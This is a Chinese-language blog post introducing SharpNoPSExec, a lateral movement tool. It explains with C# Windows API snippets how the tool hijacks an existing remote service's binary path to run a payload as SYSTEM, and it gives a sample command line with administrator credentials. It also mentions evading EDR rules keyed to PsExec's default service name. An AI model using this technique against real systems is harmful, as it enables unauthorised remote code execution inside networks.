SharpNoPSExec 工具介绍

地球胖头鱼 2021-04-26
系统与内网安全 发布于 2021-04-26 09:50:23 阅读 152 评论 0

前言

最近发现GitHub上发布了一块新的横向移动工具,叫SharpNoPSExec,点一下这里即可下载。这款工具主要功能还是进行后渗透过程中的横向移动。横向移动也是一个老问题了,无论是PSexec还是WMI都是为了更快获取其他目标的权限。而现在市面上的杀软和EDR也对此类攻击方式有了防御手段,但是PSexec是按照默认情况下是使用服务来在目标机器上来执行代码,而也有部分防御设备是按照psexec的默认服务名来进行防御的,而其也可通过参数来设置服务名。

接下来我们从SharpNoPSExe该工具,来窥探Psexec的执行方法。

分析

在分析该工具之前,我们先来了解服务创建、执行的基本步骤。首先是OpenSCManagerW

SC_HANDLE OpenSCManagerW(
 LPCWSTR lpMachineName,
 LPCWSTR lpDatabaseName,
 DWORD dwDesiredAccess
);

关于api的基本释义这里就不多说了,如果找Demo可以使用C#版本的。服务打开后我们该使用下面的api ChangeServiceConfigA来进行操作,函数原型如下:

BOOL ChangeServiceConfigA(
  SC_HANDLE hService,
  DWORD     dwServiceType,
  DWORD     dwStartType,
  DWORD     dwErrorControl,
  LPCSTR    lpBinaryPathName,
  LPCSTR    lpLoadOrderGroup,
  LPDWORD   lpdwTagId,
  LPCSTR    lpDependencies,
  LPCSTR    lpServiceStartName,
  LPCSTR    lpPassword,
  LPCSTR    lpDisplayName
);

使用方法如下,先导入函数:

[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType,
int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup,
string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword,
string lpDisplayName);

然后调用:

string payload = "notepad.exe";
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null,
null, null, null, null);

此时便可以将指定服务的程序,替换为自定义程序。

然后就是开启服务,api为StartService ,原型如下:

BOOL StartServiceA(
 SC_HANDLE hService,
 DWORD dwNumServiceArgs,
 LPCSTR *lpServiceArgVectors
);

导入调用:

[DllImport("advapi32", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[]
lpServiceArgVectors);

bResult = StartService(schService, 0, null);

然后这就是本地服务操作的基本流程了。但是我们需要操作的远程计算机所以又用到了下面的函数:

BOOL LogonUserA(
  LPCSTR  lpszUsername,
  LPCSTR  lpszDomain,
  LPCSTR  lpszPassword,
  DWORD   dwLogonType,
  DWORD   dwLogonProvider,
  PHANDLE phToken
);
BOOL ImpersonateLoggedOnUser(
  HANDLE hToken
);

那么目前我们的执行流程也就有了:

登录用户—–> 打开远程服务 —–> 设置服务执行程序为我们的payload —–> 开启服务

SharpNoPSExec也是这样来做的:

利用

SharpNoPSExec.exe --target=192.168.***.*** --payload="c:\windows\system32\cmd.exe /c calc.exe" --username=administrator --password=abc123!

SharpNoPSExec工具介绍

目前成功开启calc进程,权限为system

图片

本作品采用《CC 协议》,转载必须注明作者和本文链接
讨论数量: 0
(= ̄ω ̄=)··· 暂无内容!
请勿发布不友善或者负能量的内容。与人为善,比聪明更重要!
地球胖头鱼
未填写
  • 作者发布文章248
  • 作者收获粉丝10
  • 作者收到点赞3
  • 所有文章被收藏了5
  • 博客总访问量排行第2
  • 博客总访问量7.6 万(每日更新)
查看所有博文